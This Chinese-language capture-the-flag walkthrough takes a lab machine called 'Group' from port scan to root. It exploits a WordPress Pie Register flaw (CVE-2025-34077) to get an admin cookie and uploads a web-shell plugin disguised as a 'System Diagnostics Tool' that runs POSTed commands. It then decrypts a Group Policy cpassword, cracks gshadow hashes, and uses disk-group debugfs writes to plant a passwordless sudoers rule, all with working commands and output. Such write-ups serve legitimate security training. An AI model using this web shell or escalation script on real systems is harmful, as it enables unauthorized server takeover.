

Group

端口扫描

```
PORT      STATE SERVICE REASON          VERSION
22/tcp    open  ssh      syn-ack ttl 64    OpenSSH 10.0 (protocol 2.0)
53/tcp    closed domain  reset ttl 64
80/tcp    open  http      syn-ack ttl 64    Apache httpd 2.4.66
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-server-header: Apache/2.4.66 (Unix)
|_ http-title: Did not follow redirect to http://group.dsz/
MAC Address: 6C:2F:80:A7:E0:1D (Intel Corporate)
Service Info: Host: group.dsz
```

添加域名

```
echo "192.168.0.87 group.dsz" | sudo tee /etc/hosts
```

是 wordpress ，尝试扫描子域名，没有扫到

nuclei 能扫描出来存在 CVE-2023-6553

```
[CVE-2023-6553] [http] [critical] http://group.dsz/wp-content/plugins/backup-
backup/includes/backup-heart.php
```

虽然看到的版本确实是1.3.6，是受影响的版本，但是我用网上的 poc 复现失败了

检查其他插件，发现 pie-register 的版本是3.7.1.3，存在漏洞 CVE-2025-34077

可以获得管理员 cookie

```
git clone https://github.com/MrjHaxcore/CVE-2025-34077.git
```

```
python3 pie.py http://group.dsz/
```



设置 cookie ，成功登录后台。发现编辑主题文件的时候会报错，那就传一个插件

```
echo '<?php
/**
```

```
* Plugin Name: System Diagnostics Tool
* Version: 1.0
* Author: Security Scan
*/
if(isset($_POST["cmd"])){
    echo "[S]";
    system($_POST["cmd"]);
    echo "[E]";
}
?>' > shell.php

zip shell-plugin.zip shell.php
```

上来以后发现有一个组策略文件 `/opt/Groups.xml`

```
<Groups xmlns:userid="http://www.microsoft.com/GroupPolicy/Settings/Users">
  <User clsid="{15171732-B1F3-4354-8D71-B07E2368305A}" name="LocalAdmin" uid="{F9706C86-
6460-4447-9C9D-E0D5B6673891}">
    <Properties action="U" userName="admin"
cpassword="wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A=" />
  </User>
</Groups>
```

直接解密，获得凭证 `1045670921`

```
gpp-decrypt "wh/dhDkLLn3qw0d7wqGNX4EripI2ZeShL3A5V9g9A8A="
```

linpeas 扫一圈，发现能读 `/etc/gshadow`，给了一个 root 组和一个 disk 组的哈希

```
cat > hash << EOF
disk:peDyKkCISQ5zM::root
sudo:6RXUH2N1MJ0bo::
EOF
john hash
```

爆出来了 disk 组的哈希 `disk:19882006`

切换到 disk 组里头去

```
newgrp disk
```

disk 组提权

```
USER_NAME="vick"
RULE_FILE="give_${USER_NAME}_sudo"
RULE_PATH="/tmp/${RULE_FILE}"
TARGET_SUDOERS="/etc/sudoers.d/${RULE_FILE}"
BLOCK_DEV="/dev/sda3"

echo "${USER_NAME} ALL=(ALL) NOPASSWD: ALL" > "${RULE_PATH}"
```

```

/usr/sbin/debugfs -w "${BLOCK_DEV}" <<EOF
write ${RULE_PATH} ${TARGET_SUDOERS}
sif ${TARGET_SUDOERS} i_mode 0100440
sif ${TARGET_SUDOERS} i_uid 0
sif ${TARGET_SUDOERS} i_gid 0
q
EOF

```

```

vick@Group:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sda 8:0 0 10G 0 disk
├─sda1 8:1 0 300M 0 part /boot
├─sda2 8:2 0 512M 0 part [SWAP]
└─sda3 8:3 0 9.2G 0 part /
sr0 11:0 1 1024M 0 rom
vick@Group:~$ id
uid=1000(vick) gid=6(disk) groups=1000(vick)
vick@Group:~$ USER_NAME="vick"
RULE_FILE="give_${USER_NAME}_sudo"
RULE_PATH="/tmp/${RULE_FILE}"
TARGET_SUDOERS="/etc/sudoers.d/${RULE_FILE}"
BLOCK_DEV="/dev/sda3"

echo "${USER_NAME} ALL=(ALL) NOPASSWD: ALL" > "${RULE_PATH}"

/usr/sbin/debugfs -w "${BLOCK_DEV}" <<EOF
write ${RULE_PATH} ${TARGET_SUDOERS}
sif ${TARGET_SUDOERS} i_mode 0100440
sif ${TARGET_SUDOERS} i_uid 0
sif ${TARGET_SUDOERS} i_gid 0
q
EOF
debugfs 1.47.2 (1-Jan-2025)
debugfs: write /tmp/give_vick_sudo /etc/sudoers.d/give_vick_sudo
Allocated inode: 14650
debugfs: sif /etc/sudoers.d/give_vick_sudo i_mode 0100440
debugfs: sif /etc/sudoers.d/give_vick_sudo i_uid 0
debugfs: sif /etc/sudoers.d/give_vick_sudo i_gid 0
debugfs: q
vick@Group:~$ sudo -l
Matching Defaults entries for vick on Group:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for vick:
    Defaults!/usr/sbin/visudo env_keep+=SUDO_EDITOR EDITOR VISUAL"

User vick may run the following commands on Group:
    (ALL) NOPASSWD: ALL
vick@Group:~$ sudo su
root@Group:/home/vick# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Group:/home/vick# cat /root/root.txt
flag{root-6c550ffedd08a2f1536b6d589313e241}
root@Group:/home/vick#

```